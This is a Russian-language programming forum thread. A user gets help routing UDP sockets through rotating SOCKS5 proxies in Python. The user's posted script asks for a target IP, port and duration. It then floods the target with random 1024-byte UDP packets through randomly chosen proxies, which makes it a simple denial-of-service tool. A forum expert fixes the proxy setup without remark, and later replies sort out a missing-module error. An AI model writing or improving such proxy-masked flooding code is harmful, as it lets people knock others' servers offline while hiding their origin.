Форум программистов, компьютерный форум, киберфорум
Python
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.93/75: Рейтинг темы: голосов - 75, средняя оценка - 4.93
1 / 1 / 0
Регистрация: 02.04.2022
Сообщений: 73

Прокси в socket

09.07.2022, 13:47. Показов 14364. Ответов 12
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Здравствуйте, у меня есть прокси в формате loginassword@iport (Socks5), мне нужно их использовать в socket. У меня есть такой код:
udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
P.s это udp
0
IT_Exp
Эксперт
34794 / 4073 / 2104
Регистрация: 17.06.2006
Сообщений: 32,602
Блог
09.07.2022, 13:47
Ответы с готовыми решениями:

Прокси Socket.IO NodeJS
Всем доброго времени суток! Необходимо реализовать следующие: (картинка в аттаче) Другими словами нужно сделать локальный прокси сервер...

Web socket прокси
Задача такова: JS скрипт обращается к адресам: wss://001.end_point wss://002.end_point wss://003.end_point Но эти адреса...

Web Socket с прокси
Привет, можно ли использовать socks4/5 через websocket. Нашел библиотеку supersocket, но возвращает proxy error. ...

12
Эксперт по компьютерным сетям
 Аватар для Jabbson
5907 / 3359 / 1036
Регистрация: 03.11.2009
Сообщений: 10,008
09.07.2022, 18:12
Patching A Python Socket To Use SOCKS5 Protocol

Library
0
1 / 1 / 0
Регистрация: 02.04.2022
Сообщений: 73
09.07.2022, 19:36  [ТС]
Ошибка:
self._proxyconn.connect(proxy)
socket.gaierror: [Errno 11003] getaddrinfo failed
Код:
udps = socks.socksocket(socket.AF_INET, socket.SOCK_DGRAM)
udps.setproxy(socks.PROXY_TYPE_SOCKS5,ra ndom.choice(proxies))
hst = (str(host),int(port))
udps.sendto(data,hst)

В чем проблема?
0
Эксперт по компьютерным сетям
 Аватар для Jabbson
5907 / 3359 / 1036
Регистрация: 03.11.2009
Сообщений: 10,008
09.07.2022, 19:43
Это неполный код, я не хочу угадывать, что у Вас в proxies, в host, в port, в data.
Если дадите минимальный воспроизводимый пример, с удовольствием покопаюсь.
0
1 / 1 / 0
Регистрация: 02.04.2022
Сообщений: 73
09.07.2022, 22:54  [ТС]
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
proxies = open(f'proxies.txt', 'r').read().splitlines()     
     host = input('Айпи: ')
     port = input('Порт: ')     
     dur = float(input('Длительность (В секундах): '))
 
     def udp():   
       data = random._urandom(1024)
       sec = time.time()
       while time.time()<=sec+dur:
         udps = socks.socksocket(socket.AF_INET, socket.SOCK_DGRAM)  
         udps.setproxy(socks.PROXY_TYPE_SOCKS5,random.choice(proxies))
         hst = (str(host),int(port))
         for i in range(1000):
          udps.sendto(data,hst)
         print(f'{suc}{fsuc} Успешно')
 
     thr = threading.Thread(target = udp)
     thr.start()
Добавлено через 1 минуту
файл с прокси:
socks5://login: password@ip : port
0
Эксперт по компьютерным сетям
 Аватар для Jabbson
5907 / 3359 / 1036
Регистрация: 03.11.2009
Сообщений: 10,008
09.07.2022, 23:34
Вот рабочий пример использования библиотеки

Python
1
2
3
4
5
6
import socks
import socket
 
udps = socks.socksocket(socket.AF_INET, socket.SOCK_DGRAM)
udps.set_proxy(socks.SOCKS5, addr='142.93.68.63', port=2434, username='vpn', password='unlimited')
udps.sendto(b'test', ('104.197.90.100', 443))
ловлю трафик на 104.197.90.100:

Code
1
2
3
4
5
$ sudo tcpdump -ni any udp port 443
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked v1), capture size 262144 bytes
 
17:31:38.145261 IP 142.93.68.63.61518 > 172.16.111.29.443: UDP, length 4
Добавлено через 1 минуту
Прокси для теста брал тут
0
1 / 1 / 0
Регистрация: 02.04.2022
Сообщений: 73
10.07.2022, 20:43  [ТС]
А как можно использовать прокси без логина и пароля?
0
Эксперт по компьютерным сетям
 Аватар для Jabbson
5907 / 3359 / 1036
Регистрация: 03.11.2009
Сообщений: 10,008
10.07.2022, 20:44
Не указывать параметры username и password
0
1 / 1 / 0
Регистрация: 02.04.2022
Сообщений: 73
10.07.2022, 23:11  [ТС]
У меня вот возникла ошибка, когда я устанавливал скрипт на линукс. NameError: name 'socks' is not defined , Но я прописал pip3 list и там был socks. А на винде такой ошибки нет
0
Эксперт по компьютерным сетям
 Аватар для Jabbson
5907 / 3359 / 1036
Регистрация: 03.11.2009
Сообщений: 10,008
11.07.2022, 00:16
Цитата Сообщение от hddppdpp Посмотреть сообщение
NameError: name 'socks' is not defined
Вот прочитайте свое сообщение и скажите, Вы бы сами поняли про что там? Вопрос риторический.

Покажите, что вводите, где вводите, полные выводы ошибок или скриншот печали
0
1 / 1 / 0
Регистрация: 02.04.2022
Сообщений: 73
11.07.2022, 16:16  [ТС]
Вот ошибка:

import os, time, socket, threading, random, string, socks
ModuleNotFoundError: No module named 'socks'
0
Эксперт по компьютерным сетям
 Аватар для Jabbson
5907 / 3359 / 1036
Регистрация: 03.11.2009
Сообщений: 10,008
11.07.2022, 18:56
Цитата Сообщение от hddppdpp Посмотреть сообщение
NameError: name 'socks' is not defined
и
Цитата Сообщение от hddppdpp Посмотреть сообщение
ModuleNotFoundError: No module named 'socks'
это разные ошибки.

Но если ошибка все же вторая - то значит pysocks не установлен или установлен в другом окружении (несколько питонов или виртуальных окружений).
0
1 / 1 / 0
Регистрация: 02.04.2022
Сообщений: 73
11.07.2022, 19:21  [ТС]
Эти 2 ошибки были из за неправильной установки библиотеки, уже исправил
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
BasicMan
Эксперт
29316 / 5623 / 2384
Регистрация: 17.02.2009
Сообщений: 30,364
Блог
11.07.2022, 19:21
Помогаю со студенческими работами здесь

Socket-соединение из апплета через прокси сервер
Может ли апплет установить socket-соединение с web-сервером (с которого и был закачан) через прокси сервер? Т.е. есть сайт, заходя на...

Проблема с настройкой прокси для socket.io, https
Привет всем. У меня проблема с настройкой сервера для приложения написаном на nodejs (https, socket.io). Использую: pm2(запуск...

Как можно к объекту Socket привязать Socks4/5 прокси
Привет всем. Как можно к объекту Socket привязать Socks4/5 прокси? Вроде ничего сложного, но не знаю как.

Нужно что-то вроде прокси для HTTP (SOCKET) запроса
Есть программа (сервер), которая слушает порт и получает инфу от клиента. Сервер может получать запрос только с определенного IP. Нужно...

Использование прокси при соединении с сервером по TCP. Класс Socket
Как реализовать использование прокси в клиенте, чтобы тот соединялся с сервером по TCP и по определенному прокси. Какой класс юзать?...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
13
Ответ Создать тему
Новые блоги и статьи
Советы по крайней бережливости. Внимание, это ОЧЕНЬ длинный пост.
Programma_Boinc 28.12.2025
Советы по крайней бережливости. Внимание, это ОЧЕНЬ длинный пост. Налог на собак: https:/ / **********/ gallery/ V06K53e Финансовый отчет в Excel: https:/ / **********/ gallery/ bKBkQFf Пост отсюда. . .
Кто-нибудь знает, где можно бесплатно получить настольный компьютер или ноутбук? США.
Programma_Boinc 26.12.2025
Нашел на реддите интересную статью под названием Anyone know where to get a free Desktop or Laptop? Ниже её машинный перевод. После долгих разбирательств я наконец-то вернула себе. . .
Thinkpad X220 Tablet — это лучший бюджетный ноутбук для учёбы, точка.
Programma_Boinc 23.12.2025
Рецензия / Мнение/ Перевод Нашел на реддите интересную статью под названием The Thinkpad X220 Tablet is the best budget school laptop period . Ниже её машинный перевод. Thinkpad X220 Tablet —. . .
PhpStorm 2025.3: WSL Terminal всегда стартует в ~
and_y87 14.12.2025
PhpStorm 2025. 3: WSL Terminal всегда стартует в ~ (home), игнорируя директорию проекта Симптом: После обновления до PhpStorm 2025. 3 встроенный терминал WSL открывается в домашней директории. . .
Как объединить две одинаковые БД Access с разными данными
VikBal 11.12.2025
Помогите пожалуйста !! Как объединить 2 одинаковые БД Access с разными данными.
Новый ноутбук
volvo 07.12.2025
Всем привет. По скидке в "черную пятницу" взял себе новый ноутбук Lenovo ThinkBook 16 G7 на Амазоне: Ryzen 5 7533HS 64 Gb DDR5 1Tb NVMe 16" Full HD Display Win11 Pro
Музыка, написанная Искусственным Интеллектом
volvo 04.12.2025
Всем привет. Некоторое время назад меня заинтересовало, что уже умеет ИИ в плане написания музыки для песен, и, собственно, исполнения этих самых песен. Стихов у нас много, уже вышли 4 книги, еще 3. . .
От async/await к виртуальным потокам в Python
IndentationError 23.11.2025
Армин Ронахер поставил под сомнение async/ await. Создатель Flask заявляет: цветные функции - провал, виртуальные потоки - решение. Не threading-динозавры, а новое поколение лёгких потоков. Откат?. . .
Поиск "дружественных имён" СОМ портов
Argus19 22.11.2025
Поиск "дружественных имён" СОМ портов На странице: https:/ / norseev. ru/ 2018/ 01/ 04/ comportlist_windows/ нашёл схожую тему. Там приведён код на С++, который показывает только имена СОМ портов, типа,. . .
Сколько Государство потратило денег на меня, обеспечивая инсулином.
Programma_Boinc 20.11.2025
Сколько Государство потратило денег на меня, обеспечивая инсулином. Вот решила сделать интересный приблизительный подсчет, сколько государство потратило на меня денег на покупку инсулинов. . . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2025, CyberForum.ru